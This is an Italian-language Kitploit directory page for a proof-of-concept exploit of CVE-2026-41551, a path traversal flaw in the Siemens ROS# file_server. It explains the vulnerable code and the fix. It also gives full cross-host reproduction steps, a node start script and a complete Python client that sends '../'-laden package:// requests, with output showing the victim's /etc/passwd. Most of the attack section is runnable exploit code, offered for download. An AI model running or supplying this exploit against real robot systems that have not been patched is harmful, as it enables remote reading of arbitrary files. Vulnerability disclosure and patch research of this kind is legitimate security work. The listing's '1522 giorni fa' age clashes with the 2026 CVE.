Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-41551 — Proof-of-concept exploit per CVE-2026-41551, una vulnerabilità di path traversal in Siemens ROS# file_server, che dimostra la lettura remota di file tramite richieste package:// appositamente costruite. | Kitploit
Strumenti/GitHubGitHub/selecthch/cve-2026-41551
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubselecthch/cve-2026-41551

CVE-2026-41551

Proof-of-concept exploit per CVE-2026-41551, una vulnerabilità di path traversal in Siemens ROS# file_server, che dimostra la lettura remota di file tramite richieste package:// appositamente costruite.

Vedi Repository
1522 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riproduzione di CVE-2026-41551

Vulnerabilità: traversal del percorso relativo nei servizi file_server / file_server2 di Siemens ROS# CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) Versioni interessate: tutte le versioni di ros-sharp < V2.2.2; versione corretta: V2.2.2 (aggiunto validate_path) Conclusione: la vulnerabilità è sfruttabile tra host diversi, non solo in locale. Di seguito i passaggi per la riproduzione remota da "attaccante 153 → vittima 152".


0. Principio della vulnerabilità (ros-sharp 2.2.1, file_server.cpp)

get_file_callback concatena direttamente il percorso della richiesta alla directory condivisa del pacchetto, senza alcun controllo di traversal:

root@kitploit:~
std::string address   = request->name.substr(10);          // rimuove "package://"
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // controllabile dall'utente, contiene "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // traversal per leggere file arbitrari

La richiesta PoC package://file_server2/<../×12>etc/passwd esce dalla directory share del pacchetto fino alla root e legge i file locali della vittima.

Codice di correzione (ros-sharp 2.2.2)

Aggiunto validate_path: prima esegue il controllo di path traversal, poi la whitelist delle estensioni e infine usa std::filesystem::canonical per verificare che non si esca dalla directory del pacchetto; save_file è disabilitato di default.

root@kitploit:~
bool has_traversal(const std::string& path) {           // vieta ".." e "."
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // deve rimanere nella directory del pacchetto
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. Informazioni sull'ambiente

Topologia di rete (stesso ROS_DOMAIN_ID, discovery DDS tra host):

root@kitploit:~
Attaccante 192.168.171.153                        Vittima 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | nodo file_server          |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | legge /etc/passwd locale  |
|                           | <-------------  | (2) restituisce 2930 byte|
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / multicast 239.255.0.x), ROS_DOMAIN_ID=0

2. Prerequisiti (soddisfatti di default dopo il riavvio)

  • Entrambi gli host hanno ROS2 Humble installato (/opt/ros/humble) e colcon.
  • Il pacchetto sorgente vulnerabile è in ~/ros2_ws/src/file_server2 (ros-sharp 2.2.1, 13 file in totale).
  • Importante: all'avvio del nodo vittima non impostare ROS_LOCALHOST_ONLY=1, altrimenti sarà accessibile solo in loopback e la riproduzione remota non sarà possibile.

3. Passaggi di riproduzione

3.1 Lato vittima (192.168.171.152): compilare e avviare il nodo, in ascolto sulla rete

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Compila il pacchetto vulnerabile (se già compilato si può saltare, ricompilare è innocuo)
colcon build --packages-select file_server2

# Avvia il nodo (sicuro dopo il riavvio: prima pulisci i processi vecchi poi avvia)
# Il contenuto di ~/start_fs.sh è nell'appendice A
bash ~/start_fs.sh
sleep 2

ros2 node list            # dovrebbe mostrare /file_server locale

3.2 Lato attaccante (192.168.171.153): compilare il pacchetto client per ottenere il tipo srv

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Serve anch'esso il pacchetto file_server2, per importare il tipo GetBinaryFile nel client
colcon build --packages-select file_server2

3.3 Lato attaccante: discovery del servizio della vittima tra host

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # dovrebbe rilevare /file_server sull'altro host (152)
ros2 service list | grep file_server
# dovrebbe mostrare: /file_server/get_file

3.4 Lato attaccante: eseguire il PoC per leggere da remoto /etc/passwd della vittima

root@kitploit:~
python3 ~/poc.py

4. Risultato della riproduzione

root@kitploit:~
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

L'attaccante su 153 ha letto con successo /etc/passwd della macchina della vittima 152.


Appendice A: ~/start_fs.sh

root@kitploit:~
#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# Il nome del processo viene troncato dal kernel a file_server2_no, pulisci le istanze vecchie in base alla riga di comando
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# Importante: non impostare ROS_LOCALHOST_ONLY, altrimenti accessibile solo in loopback
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

Appendice B: ~/poc.py

root@kitploit:~
import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 "../" bastano per uscire dalla directory share del pacchetto fino alla root, poi accedere a etc/passwd
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

Riferimenti

  • Siemens Security Advisory SSA-357982 (directory traversal in ROS# file_server)
  • NVD CVE-2026-41551
  • ros-sharp GitHub Releases: V2.2.1 (vulnerabile) / V2.2.2 (corretta)
  • CWE-23: Relative Path Traversal; documentazione ROS 2: ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / DDS discovery
Scarica lo strumento
RuoloIP hostSistemaROSDescrizione
Vittima192.168.171.152Ubuntu 22.04HumbleEsegue il nodo file_server, il file letto si trova sulla macchina locale
Attaccante192.168.171.153Ubuntu 22.04HumbleStessa sottorete, invia la chiamata PoC al servizio della vittima